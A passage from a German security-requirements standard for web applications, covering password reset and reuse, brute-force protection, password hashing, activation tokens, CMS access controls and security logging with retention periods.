Motivation: Benutzer favorisieren in der Regel Passwörter, die sie sich gut merken können und verwenden diese in Folge oft wiederkehrend über lange Zeiträume, falls das System dies zulässt. Aus Sicht des Benutzers ist das Verhalten nachvollziehbar, führt aber effektiv zu einer erheblichen Reduzierung der Schutzwirkung dieses Authentisierungsparameters. Mit etwa entsprechenden Kenntnissen über den Benutzer oder erbeuteten Informationen aus zurückliegenden System-Kompromittierungen kann ein Angreifer so Zugriff auf vermeintlich geschützte Benutzerkonten erlangen. Insbesondere auch in Situationen, in denen im Rahmen einer akuten Risikobehandlung zentral neue Initialpasswörter vergeben werden, die Benutzer diese jedoch unmittelbar aus Bequemlichkeit auf ein vorheriges Passwort zurückändern, bestünde hohe Gefahr, dass ein Angreifer seinen illegalen Zugriff erneut aufnehmen kann. Es ist daher wichtig zu vermeiden, dass Benutzer alte Passwörter erneut einsetzen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-28/9.0

Req 64	Falls Passwörter als Authentisierungsmerkmal genutzt werden, muss die Web-Anwendung über eine gegen Missbrauch geschützte Funktion verfügen, über die der Benutzer das Passwort zurücksetzen kann.
--------	--

Ein Missbrauch, der dazu führt, dass über diese Funktion die vorhandenen sicheren Authentisierungsmechanismen umgangen werden können, muss verhindert werden.

Es wird daher empfohlen, dass der Benutzer hierfür eine „Sicherheitsfrage“ auswählen und die dazugehörige Antwort eingeben muss (für kritische Anwendungen ggf. auch mehrere Fragen und Antworten). Diese Daten muss die Web-Anwendung im Rahmen des Registrierungsprozesses oder nach der initialen Anmeldung des Benutzers abfragen.

Wenn ein Benutzer sein Passwort vergessen hat, kann er bei der Anmeldung eine entsprechende Funktion auswählen. Nachdem er seine Sicherheitsfrage korrekt beantwortet hat, wird sein Passwort zurückgesetzt: Die Web-Anwendung erzeugt ein neues Initialpasswort oder einen Link mit einem Aktivierungstoken. Sie kann das Initialpasswort bzw. Aktivierungstoken dem Benutzer per Push-Notification oder SMS zusenden, alternativ per E-Mail, an entsprechend vorab hinterlegte Kontaktinformationen.

Diese Funktion darf jedoch auf keinen Fall vorsehen, dass sich der Benutzer allein durch Beantwortung der Sicherheitsfrage erfolgreich an der Web-Anmeldung anmelden kann oder auch direkt ein neues Passwort vergeben kann.

Es ist auch zu verhindern, dass diese Funktion einem Angreifer die Möglichkeit bietet, automatisiert valide Benutzer-namen zu ermitteln. Hierzu können Captchas abgefragt oder Schwellwerte für ungültige Eingaben/Versuche vorgesehen werden, die zu einer (temporären) Sperrung dieser Funktionalität (zum Beispiel für eine IP-Adresse) führen.

Für den Fall, dass ein Benutzer auch die Antwort seiner Sicherheitsfrage vergessen hat, kann ggf. ein Fallback-Mechanismus vorgesehen werden. Hierfür wird dem Benutzer dann ein weiterer Prozess angeboten, der aber in der Regel nicht automatisiert durchgeführt werden kann, zum Beispiel über den Anruf bei einer Hotline. Auch bei einem solchen Fallback-Mechanismus muss sichergestellt sein, dass dieser nicht missbraucht werden kann.

Motivation: Wenn ein Benutzer sein Passwort vergessen hat, muss er die Möglichkeit haben, sein Passwort zurücksetzen zu lassen. Hierdurch darf aber nicht das vorhandene Sicherheitsniveau der Web-Anwendung reduziert werden. So muss verhindert werden, dass ein Angreifer die Möglichkeit erhält, die (Initial-)Passwörter anderer Benutzer zu ermitteln und deren Benutzerkonten zu übernehmen. Ebenso ist zu verhindern, dass ein Passwortrücksetzungsprozess (automatisiert) missbraucht wird, zum Beispiel indem massenhaft Passwörter zurückgesetzt und damit andere Benutzer belästigt werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit
- Abstreiten von durchgeführten Aktionen

ID: 3.06-64/8.0

Req 65	Falls Passwörter als Authentisierungsmerkmal genutzt werden, muss ein Schutz gegen Online-Angriffe wie Wörterbuch- und Brute-Force-Attacken vorhanden sein, der das Erraten von Passwörtern stark erschwert.
--------	--

Online Wörterbuch- und Brute-Force Angriffe haben zum Ziel, durch automatisiertes Ausprobieren an einer regulären Zugangsschnittstelle des Systems die Passwörter von Benutzerkonten zu erraten.

Um dies zu verhindern, muss eine der folgenden Maßnahmen oder eine Kombination aus diesen umgesetzt werden:

- mittels technischer Maßnahmen abgebildete Erzwingung einer Wartezeit nach einem fehlgeschlagenen Anmeldeversuch, bevor eine erneute Anmeldung ermöglicht wird. Die Wartezeit sollte sich zudem mit jedem weiteren fehlgeschlagenen Anmeldeversuch automatisch deutlich erhöhen (z. B. durch Verdopplung).
- automatisiertes Sperren des Benutzerkontos nach einer vorgegebenen Anzahl von aufeinanderfolgenden fehlgeschlagenen Anmeldeversuchen (typischerweise 5). Allerdings ist bei dieser Lösung zu bedenken, dass diese einen Entsperrungs-Prozess erforderlich macht und ein Angreifer dies gezielt nutzen kann, um Konten zu sperren und somit vorübergehend unbrauchbar zu machen.

- Verwendung von CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart"), um automatisierte Anmeldeversuche von Maschinen ("Robots" oder "Bots") bestmöglich zu unterbinden. Ein CAPTCHA stellt dazu eine kleine Aufgabe, i. d. R. basierend auf grafischen oder akustischen Elementen, die von einer Maschine nur schwer zu lösen ist. Es ist entsprechend zu berücksichtigen, dass CAPTCHA problematisch bzgl. der Barrierefreiheit sein können.

Um eine höhere Sicherheit zu erreichen, ist es oftmals sinnvoll, zwei oder mehrere der genannten Maßnahmen miteinander zu kombinieren. Dies ist abhängig vom Einzelfall zu prüfen und entsprechend umzusetzen.

Motivation: Ohne entsprechenden Schutz kann ein Angreifer durch bloßes Durchprobieren von Wörterbuchlisten oder automatisch erzeugten Zeichenkombinationen versuchen ein Passwort zu ermitteln, um so das entsprechende Benutzerkonto missbräuchlich zu nutzen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-25/9.0

Req 66	Falls Passwörter als Authentisierungsmerkmal genutzt werden, muss deren Speicherung unter Einsatz eines für diesen Zweck als ausreichend sicher anerkannten "Password Hashing"-Verfahrens erfolgen, um Offline-Angriffe wie Wörterbuch- und Brute-Force-Attacken stark zu erschweren.
--------	---

Diese Anforderung bezieht sich auf die Speicherung von Passwörtern in sämtlichen Arten von Benutzerdatenbanken, die im vorliegenden System eingesetzt werden, um darüber eingehende Zugriffe (lokal oder aus der Ferne) von Benutzern oder anderen Systemen zu authentisieren.

Gelingt es einem Angreifer, die Kopie einer Benutzerdatenbank des Systems in seinen Besitz zu bringen, kann er diese in einer unabhängigen Umgebung einem automatisierten Wörterbuch- oder Brute-Force-Angriff aussetzen, um enthaltene Passwörter zu ermitteln. Durch Einsatz spezialisierter Werkzeuge in Kombination mit hoher Rechenleistung können bei unzureichenden Schutzmaßnahmen hierbei hohe Erkennungsraten in verhältnismäßig kurzer Zeit erreicht werden. Aufgrund der Unabhängigkeit vom Quellsystem bleibt ein solcher Offline-Angriff auf eine Benutzerdatenbank zudem unbemerkt.

Folgende Maßnahme ist umzusetzen, da diese den größtmöglichen Schutz bei Offline-Angriffen gewährleistet:

- Passwörter müssen unter Verwendung einer für diesen Zweck anerkannt wirksamen, zum aktuellen Stand der Technik als sicher eingestuften, kryptografischen Einwegfunktion gespeichert werden (bekannt als "Password-Hashing" Verfahren)

Hinweis: Zulässige Passwort-Hashing-Verfahren sind im Sicherheitsanforderungsdokument "3.50 / Kryptographische Algorithmen und Sicherheitsprotokolle" beschrieben.

In expliziter Deutlichkeit ist als NICHT ZULÄSSIG hervorzuheben:

- jegliche Speicherung von Passwörtern im Klartext
- jegliche Speicherung von Passwörtern in direkt rückrechenbaren Formaten
- jegliche Speicherung von Passwörtern mittels umkehrbarer Verschlüsselung

Hinweis:

"direkt rückrechenbare Formate" bezieht sich in diesem Kontext auf Formate, die ein Passwort lediglich kodieren, also ohne Einbeziehung eines geheimen Schlüssels transformieren. Da ein Passwort bei Anwendung eines solchen Formats nicht mehr in seinem originalen Klartext lesbar bleibt, werden diese Formate leicht als Schutzmaßnahme

missverstanden. Effektiv bieten sie jedoch keinen Schutz, da die dahinterliegende Kodierung fest definiert ist und von einem Angreifer sehr leicht für die Rückrechnung der Inhalte in den ursprünglichen Klartext genutzt werden kann.

Beispiele für direkt rückrechenbare Formate sind: "base64", "rot13"

"Umkehrbar" sind alle Verfahren der Verschlüsselung, die unter Verwendung des passenden Schlüssels ermöglichen, einen verschlüsselten Inhalt zurück in den originalen Inhalt zu transformieren. Entsprechend stellt sich bei umkehrbarer Verschlüsselung stets die Herausforderung, den Schlüssel sicher aufzubewahren und vor unberechtigtem Zugriff zu schützen. Die Umkehrbarkeit ist auf vielen Einsatzgebieten der Verschlüsselung, z. B. für den Transport von vertraulichen Nachrichten, eine benötigte Grundeigenschaft, für das Speichern von Passwörtern jedoch kontraproduktiv: ein gespeichertes Passwort muss zwar mittels technischer Methoden vergleichbar bleiben, aber darf nicht mehr in seinen Klartext rückwandelbar sein, um es vor unberechtigter Einsicht bestmöglich zu schützen.

Beispiele für umkehrbare Verschlüsselung sind: "AES", "CHACHA20", "3DES", "RSA"

Motivation: Ohne entsprechenden Schutz kann ein Angreifer im Besitz der Benutzerdatenbank durch bloßes Durchprobieren von Wörterbuchlisten oder automatisch erzeugten Zeichenkombinationen versuchen, massenhaft Passwörter zu ermitteln, um so entsprechende Benutzerkonten missbräuchlich zu nutzen. Passwörter, die im Klartext oder direkt rückrechenbaren Formaten gespeichert werden, sind bei einem Offline-Angriff vollkommen schutzlos.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-24/9.0

Req 67	Falls die Web-Anwendung Initialpasswörter oder Aktivierungstoken verwendet, müssen diese gegen missbräuchliche Verwendung sowie Brute-Force-Angriffe abgesichert werden.
--------	--

Insbesondere müssen sie nach einer angemessenen Zeit ihre Gültigkeit verlieren. Die genaue Gültigkeitsdauer muss individuell für jede Anwendung festgelegt werden. Sie ist abhängig von deren Sensibilität und Einsatzzweck sowie von dem Verfahren der Passwortvergabe. Falls zum Beispiel bei einer aus dem Internet erreichbaren Web-Anwendung der Benutzer die Registrierung selber startet und die Initialpasswörter (oder Aktivierungstoken) auf elektronischem Weg versendet werden, müssen sie wenige Stunden nach ihrer Ausstellung ihre Gültigkeit verlieren. Bei einer internen Anwendung und Versand ausschließlich über interne Netze kann dieser Zeitraum deutlich länger gewählt werden (bis hin zu mehreren Tagen).

Initialpasswörter müssen die gleichen Komplexitätsanforderungen erfüllen wie Passwörter, die die Benutzer wählen.

Die Länge der Aktivierungstoken muss (analog zu Session-Identifiern) mindestens 120 Bit betragen. Alle hierbei relevanten Zeichen müssen nach dem Zufallsprinzip generiert werden.

Motivation: Falls ein neuer Benutzer sein Initialpasswort nach längerer Zeit noch nicht verwendet hat, kann davon ausgegangen werden, dass ein Fehlerfall vorliegt oder der Benutzer die Registrierung nicht abschließen will. Zudem ist das Initialpasswort oftmals noch zugreifbar (zum Beispiel in Posteingangsfächern). Es kann daher von Unberechtigten ermittelt und missbraucht werden. Deshalb muss es zeitnah seine Gültigkeit verlieren.

Ohne entsprechenden Schutz könnte ein Angreifer zudem durch bloßes Durchprobieren versuchen, ein Initialpasswort oder einen Aktivierungstoken zu ermitteln.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-67/8.0

Req 68	Bei einem fehlgeschlagenen Anmeldeversuch eines Benutzers darf die Web-Anwendung keine Information ausgeben, welche der eingegebenen Anmeldeinformationen nicht korrekt war.
--------	--

Motivation: Durch eine allgemeine Fehlermeldung wird es einem Angreifer erschwert, gültige Benutzernamen zu ermitteln.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.06-68/8.0

Req 69	Falls Passwörter als Authentisierungsmerkmal genutzt werden, darf deren Darstellung während der Eingabe nicht im Klartext erfolgen.
--------	---

Passwörter dürfen während deren Eingabe nicht in lesbarem Klartext auf Bildschirmen oder sonstigen Ausgabegeräten dargestellt werden. Eine Darstellung während der Eingabe darf keine Rückschlüsse auf die tatsächlich im Passwort verwendeten Zeichen ermöglichen.

Diese Anforderung gilt für jegliche Arten von Eingabemasken und -feldern für Passwörter.

Beispiele hierfür sind Dialoge zur Passwort-Vergabe, zur Passwort-basierenden Anmeldung an Systemen oder zur Änderung von bestehenden Passwörtern.

Ausnahmeregelungen:

- Innerhalb eines Eingabefelds ist eine optionale Klartext-Darstellung eines Passworts zulässig, sofern diese Klartext-Darstellung einem validen Zweck dient, nur temporär anhält, dazu fallbezogen durch den legitimen Benutzer explizit zu aktivieren ist und von diesem umgehend auch wieder deaktiviert werden kann. Ein valider Zweck wäre beispielsweise, dem legitimen Benutzer bei Bedarf eine unkomplizierte visuelle Überprüfung zu ermöglichen, sein Passwort in einem Anmelde-Dialog korrekt eingegeben zu haben, bevor er die Anmeldung letztendlich final vollzieht. Eine solche optionale Klartext-Darstellung eines Passworts muss vollständig in der Kontrolle des legitimen Benutzers verbleiben, damit er über deren Aktivierung/Deaktivierung situationsgerecht entscheiden kann. In der Standard-Einstellung des Systems muss die Klartext-Darstellung deaktiviert sein.
- Das auf vielen mobilen Endgeräten (Smartphones) typische Verhalten, jedes einzelne Zeichen bei der Eingabe eines Passworts sehr kurz im Klartext anzuzeigen, um dem Benutzer die Eingabekontrolle zu erleichtern, ist dort grundlegend zulässig. Allerdings darf dabei niemals das vollständige Passwort im Klartext auf dem Bildschirm dargestellt werden.

Motivation: Im Fall einer Klartext-Darstellung besteht das Risiko, dass dritte Personen ein Passwort während der Eingabe zufällig oder gezielt über die Bildschirm-Ausgabe ausspähen können.

Umsetzungsbeispiel: In der Darstellung auf dem Bildschirm wird während der Eingabe eines Passworts jedes einzelne Zeichen einheitlich durch ein "*" ersetzt.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-31/9.0

9. Content-Management-Systeme (CMS)

Req 70	Der Zugang zur Redaktionsumgebung des Content-Management-Systems (CMS) darf nicht aus dem Internet erfolgen.
--------	--

Entweder ist die Redaktionsumgebung nur aus internen Netzen erreichbar, oder eine Zugangsbeschränkung wird über technische Lösungen realisiert, zum Beispiel VPNs.

Ist ein Schutz über eine Zugangsbeschränkung nicht realisierbar, muss der Zugang zur Redaktionsumgebung durch eine andere zusätzliche Sicherungsebene geschützt werden, beispielsweise durch Verwendung einer Zweifaktorauthentisierung.

Motivation: So wird das Risiko minimiert, dass Angreifer sich unberechtigt Zugang zum CMS verschaffen (zum Beispiel über bekannt gewordene Schwachstellen des CMS) und Inhalte modifizieren oder unveröffentlichte Informationen auslesen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-70/8.0

Req 71	Das CMS muss es ermöglichen, Berechtigungen für unterschiedliche Tätigkeiten des Content-Managements verschiedenen Nutzern/Nutzergruppen zuzuweisen, so dass ein mehrstufiger Veröffentlichungsprozess realisiert werden kann.
--------	--

Mögliche unterschiedliche Nutzergruppen sind „Reader“, „Editor“, „Chief Editor“, „Administrator“, „Approver“ und „Publisher“. Die Veröffentlichung von Inhalten muss minimal im Vieraugenprinzip durch einen „Editor“ und einen „Approver“ bzw. „Publisher“ erfolgen.

Motivation: Durch einen geeigneten Veröffentlichungsprozess kann das Risiko minimiert werden, dass (durch böse Absicht oder aufgrund eines Fehlers) unerwünschte oder fehlerhafte Inhalte veröffentlicht werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen

ID: 3.06-71/8.0

Req 72	Das CMS muss es ermöglichen, bestimmte Inhalte exklusiv bestimmten Redakteuren oder einer Gruppe von Redakteuren zuzuweisen.
--------	--

Die entsprechenden Inhalte dürfen dann nicht durch andere, nicht berechtigte Redakteure/Gruppen einsehbar oder änderbar sein. Dies kann realisiert werden, indem mehrere Mandanten vom CMS bedient werden können, oder durch ein entsprechendes Rollenkonzept.

Motivation: So wird ermöglicht, unveröffentlichte (geheime) Inhalte einzupflegen, ohne dass sie direkt allen Redakteursgruppen bekannt werden. Außerdem wird so das Risiko unberechtigt modifizierter Inhalte minimiert.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen

ID: 3.06-72/8.0

Req 73	Falls das CMS Funktionen bereitstellt, um Inhalte zu erstellen, die erst zu einem späteren Zeitpunkt veröffentlicht werden sollen, dürfen diese Inhalte vorher in der Web-Anwendung nicht einsehbar oder auffindbar sind.
--------	---

Diese unveröffentlichten Inhalte dürfen auch nicht durch Suchfunktionen der Web-Anwendung, geheime URLs oder aktive Manipulationen auffindbar sein.

Motivation: So wird ermöglicht, unveröffentlichte (geheime) Inhalte einzupflegen, ohne dass sie bereits von Nutzern der Web-Anwendung einsehbar sind.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-73/8.0

Req 74	Das CMS muss Funktionen bereitstellen, die es erlauben, die Verwendung von aktivem Content und Scripting innerhalb der erstellten Inhalte einzuschränken (auf bestimmte Inhalte bzw. für bestimmte Benutzergruppen) und ggf. ganz zu unterbinden.
--------	---

Motivation: Inhalte, die potenziell eine Gefährdung für die Nutzer der Web-Anwendung darstellen können, dürfen nur bei entsprechender Notwendigkeit verwendet werden und nur von Redakteuren erstellt werden, die hierfür explizit verantwortlich sind. Beispielsweise könnten durch die Verwendung von Scriptsprachen Inhalte mit XSS-Angriffen erstellt werden

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Nutzung von Diensten oder Ressourcen

ID: 3.06-74/8.0

Req 75	Preview-Funktionalitäten des CMS müssen vor unberechtigtem Zugriff geschützt werden: Nur erfolgreich authentifizierte Benutzer des CMS dürfen die Inhalte des Previews einsehen; sie dürfen hierbei auch nur auf die Inhalte zugreifen, für die sie mindestens Leserechte haben.
--------	--

Motivation: So wird ermöglicht, unveröffentlichte oder unvollendete Inhalte einzupflegen und zu prüfen, ohne dass sie bereits von Nutzern der Web-Anwendung oder von anderen, nicht berechtigten Redakteuren einsehbar sind.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen

ID: 3.06-75/8.0

10. Protokollierung

Req 76 Sicherheitsrelevante Ereignisse müssen abhängig vom Verwendungszweck der Web-Anwendung protokolliert werden.

Um eine Auswertbarkeit und Zuordnung der auftretenden Ereignisse zu ermöglichen, müssen diese zusammen mit dem genauen Zeitpunkt des Auftretens („Zeitstempel“) protokolliert werden.

Der Zeitstempel eines protokollierten Ereignisses muss mindestens folgende Informationen beinhalten:

- Datum des Ereignisses (Jahr, Monat, Tag),
- Uhrzeit des Ereignisses (Stunden, Minuten, Sekunden),
- Zeitzone, auf die sich diese Zeitangaben beziehen.

Bei der Protokollierung müssen die jeweils geltenden gesetzlichen, mitbestimmungsrechtlichen und betrieblichen Bestimmungen beachtet werden. Diese besagen unter anderem, dass die Protokollierung von Ereignissen nur zweckgebunden erfolgen darf. Eine Protokollierung zum Zwecke der Arbeitskontrolle von Mitarbeitern ist nicht zulässig. Zudem muss - wie für jegliche Daten, die von einem System verarbeitet werden - auch für Protokollierungsdaten ein angemessener Schutzbedarf berücksichtigt und umgesetzt werden; dies gilt für die Speicherung, die Übertragung sowie den Zugriff. Insbesondere falls Wirkdaten in den Protokollierungsdaten enthalten sind, muss derselbe Schutzbedarf berücksichtigt werden, der auch für die reguläre Verarbeitung dieser Wirkdaten innerhalb des Quell-Systems Anwendung findet.

Folgende Ereignisse sind für eine Web-Anwendung mindestens zu protokollieren (sofern sie für den individuellen Anwendungsfall relevant sind):

Ereignis	Zu protokollierende Daten des Ereignisses
Erfolgreiche Anmeldungen	• Benutzerkonto, • Quelle (IP-Adresse), sofern verfügbar.
Fehlerhafte Anmeldeversuche	• Benutzerkonto, • Anzahl der Fehlversuche, • Quelle (IP-Adresse), sofern verfügbar.
Zugriff von Benutzerkonten mit Administrationsrechten	• Benutzerkonto, • Zugriffszeitpunkt, • Dauer des Zugriffs, • Quelle (IP-Adresse), sofern verfügbar.
Administration von Konten	• Benutzerkonto des Administrators, • administriertes Benutzerkonto, • durchgeführte Tätigkeit (Einrichten, Löschen, Aktivieren und Deaktivieren).
Änderung von Gruppenzugehörigkeiten von Konten	• Benutzerkonto des Administrators, • administriertes Benutzerkonto, • durchgeführte Tätigkeit (hinzugefügte oder entfernte Gruppe).

Abhängig von der individuellen Web-Anwendung können noch weitere Ereignisse sinnvoll sein, insbesondere:

- Validierungsfehler (zum Beispiel falsches Datenformat, falsches Encoding, falscher Wertebereich), die nicht aufgrund von Eingabefehlern bei normaler Nutzung der Web-Anwendung entstanden sein können, sondern klar auf Angriffsversuche hindeuten,
- Ausgabefehler (zum Beispiel Fehler in den Datensätzen der Datenbank),
- Autorisierungsfehler (zum Beispiel Zugriff auf Ressourcen ohne entsprechende Autorisierung),

- privilegierte oder sicherheitskritische Aktionen (zum Beispiel Exportieren von schutzbedürftigen Daten),
- Session-Management-Fehler (zum Beispiel Manipulation von Session-Identifiern),
- Anwendungsfehler (zum Beispiel Laufzeitfehler),
- Detektion von Malware oder anderer Sicherheitsprobleme bei einem File-Upload.

Motivation: Die Protokollierung von sicherheitsrelevanten Ereignissen ist eine Grundvoraussetzung, um laufende Angriffe oder auch Angriffe im Nachhinein erkennen zu können. Nur so ist es möglich, sinnvolle Maßnahmen zur Erhaltung oder auch Wiederherstellung der Systemsicherheit durchzuführen. Des Weiteren dienen die Protokollierungsdaten der Beweissicherung, um rechtlich gegen Angreifer vorgehen zu können.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Abstreiten von durchgeführten Aktionen
- Unbemerkt durchführbare Angriffe

ID: 3.06-76/8.0

Req 77 Für sicherheitsrelevante Protokollierungsdaten, die lokal erfasst werden, müssen geltende Aufbewahrungszeiträume und Löschfristen eingehalten werden.

Aus Sicht der IT-Sicherheit wird auf einem System die lokale Erfassung von sicherheitsrelevanten Protokollierungsdaten nicht zwingend gefordert. Da lokal erfasste Protokollierungsdaten bei Systemstörungen beschädigt oder von einem erfolgreichen Angreifer gezielt manipuliert werden können, sind sie für sicherheitstechnische bzw. forensische Analysen nur bedingt belastbar. Entsprechend ist für die IT-Sicherheit relevant, dass Protokollierungsdaten an einen separaten Log Server weitergeleitet werden.

Eine lokale Erfassung kann dennoch erfolgen; beispielsweise falls bei der Erzeugung der Protokollierungsdaten eine lokale Speicherung aufgrund technischer Abläufe zunächst unabdingbar ist oder es begründete betriebliche Interessen gibt, Protokollierungsdaten auch lokal vorzuhalten.

Folgende Grundregelung ist bei einer lokalen Erfassung von Protokollierungsdaten zu berücksichtigen:

- Sicherheitsrelevante Protokollierungsdaten müssen für einen Zeitraum von 90 Tagen aufbewahrt werden.
(Diese Anforderung gilt nur, falls auf dem System keine zusätzliche Weiterleitung an einen separaten Log Server umgesetzt ist und Protokollierungsdaten daher ausschließlich lokal erfasst werden.)
- Nach Ablauf von 90 Tagen muss eine umgehende Löschung von gespeicherten Protokollierungsdaten erfolgen.

Abweichungen

Abweichende Aufbewahrungszeiträume und Löschfristen können durch gesetzliche oder regulatorische Anforderungen (insbesondere im Zusammenhang mit personenbezogenen Daten) bestehen oder durch vertragliche Vereinbarungen definiert sein. In diesen Fällen sind die geltenden Zeiträume individuell mit einem Project Security Manager (PSM) bzw. Datenschutzberater (DSB) abzustimmen oder werden durch diesen vorgegeben.

Motivation: Protokollierungsdaten sind ein immens wichtiges Werkzeug der IT-Sicherheit zur Abwendung, Detektierung und Aufklärung von Systemstörungen, Sicherheits- und Datenschutzvorfällen. Auf der anderen Seite unterliegt die Erfassung von Protokollierungsdaten wie jede andere Datenverarbeitung auch gesetzlichen und regulatorischen Auflagen. Entsprechend müssen Richtlinien eingehalten werden, die beides in Einklang bringen.

Umsetzungsbeispiel: Unter Berücksichtigung der gültigen Gesetzeslage und zutreffenden Datenschutz-Regularien werden folgende Löschfristen für lokal erfasste sicherheitsrelevante Protokollierungsdaten auf einem beispielhaften TK-System umgesetzt:

- Standard System Logs: Löschung nach spätestens 90 Tagen
- Protokollierungen von öffentlichen IP-Adressen: Löschung (oder Anonymisierung) nach spätestens 7 Tagen
- Protokollierungen der Vergabe von dynamischen öffentlichen IP-Adressen durch die TK-Lösung: Löschung

nach spätestens 7 Tagen

- Protokollierungen nicht abrechnungsrelevanter Call Detail Records: Löschung nach spätestens 7 Tagen
- Protokollierungen der Kommunikations-Inhalte von E-Mail und SMS: Löschung nach spätestens 24 Stunden
- Protokollierungen der behandelten Domain-Abfragen des DNS-Servers der TK-Lösung: Löschung nach spätestens 24 Stunden

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Abstreiten von durchgeführten Aktionen
- Unbemerkt durchführbare Angriffe

ID: 3.01-34/9.0

Req 78	Sicherheitsrelevante Protokollierungsdaten müssen umgehend nach deren Erzeugung an einen Log-Server weitergeleitet werden.
--------	--

Die sicherheitsrelevanten Protokollierungsdaten des Systems müssen umgehend nach deren Erzeugung an einen Log-Server weitergeleitet werden.

Im Sinne der Anforderung muss der dafür genutzte Log-Server die folgenden Kriterien erfüllen:

- Der Log-Server muss dediziert für die Vorhaltung von Protokollierungsdaten eingesetzt sein. Er darf keine weiteren Funktionen oder Dienste abbilden, die nicht in Relation zu dieser Aufgabe stehen. Eine zulässige Ausnahme ist die Kombination eines Log Servers mit einer SIEM (Security Information and Event Management) Lösung.
- Der Log-Server muss vom System separiert sein. Er darf nicht als zusätzliches Modul unmittelbar mit auf dem System betrieben werden.
- Der Log-Server muss zentral für die Einsatzumgebung bereitstehen, zu der auch das System gehört.

Zur Übertragung der Protokollierungsdaten an den Log-Server sollten bevorzugt auf diesen Zweck spezialisierte Standard-Protokolle (z. B. Syslog oder SNMPv3) zum Einsatz kommen.

Motivation: Werden Protokollierungsdaten nur lokal gespeichert, können diese im Fall einer erfolgreichen Kompromittierung des Systems durch einen Angreifer manipuliert werden, um dessen Angriff und auf dem System durchgeführte Aktionen zu verschleiern. Aus diesem Grund muss die Weiterleitung von Protokollierungsdaten an einen Log-Server sehr zeitnah nach dem Auftreten eines sicherheitsrelevanten Ereignisses im Quell-System erfolgen. So stehen die angefallenen Protokollierungsdaten separiert vom Quell-System und unabhängig von dessen Zustand jederzeit für Analysen bereit. Die Verwendung eines zentralen Log-Servers für eine Einsatzumgebung stellt sicher, dass auf die Logs sämtlicher IT/NT-Systeme dieser Einsatzumgebung schnell und einheitlich zugegriffen und der Zugriff selbst optimal in die Incident-Prozesse der Umgebung integriert werden kann.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Modifikation von Daten
- Störung der Verfügbarkeit
- Abstreiten von durchgeführten Aktionen
- Unbemerkt durchführbare Angriffe

ID: 3.01-35/9.0

Req 79	Für sicherheitsrelevante Protokollierungsdaten, die an den Log Server weitergeleitet werden, muss die Einhaltung geltender Aufbewahrungszeiträume und Löschfristen sichergestellt werden.
--------	---

Folgende Grundregelung ist zu berücksichtigen:

- sicherheitsrelevante Protokollierungsdaten müssen auf dem Log Server für einen Zeitraum von 90 Tagen auf-

bewahrt werden.

- nach Ablauf von 90 Tagen muss eine umgehende Löschung der auf dem Log Server gespeicherten Protokollierungsdaten erfolgen.

Abweichungen

Abweichende Aufbewahrungszeiträume und Löschfristen können durch gesetzliche oder regulatorische Anforderungen bestehen (insbesondere im Zusammenhang mit personenbezogenen Daten) oder durch vertragliche Vereinbarungen definiert sein. In diesen Fällen sind die geltenden Zeiträume individuell mit einem Project Security Manager (PSM) bzw. Datenschutzberater (DSB) abzustimmen oder werden durch diesen vorgegeben.

Log Server in Verantwortung eines Dritten

Sollte der ausgewählte Log Server nicht innerhalb derselben operativen Verantwortung liegen wie das Quellsystem der Protokollierungsdaten, muss sichergestellt werden, dass dem verantwortlichen Betreiber des Log Servers die gültigen Parameter für die zu empfangenden Protokollierungsdaten bekannt sind und durch diesen im Sinne der hier genannten Regelungen eingehalten werden.

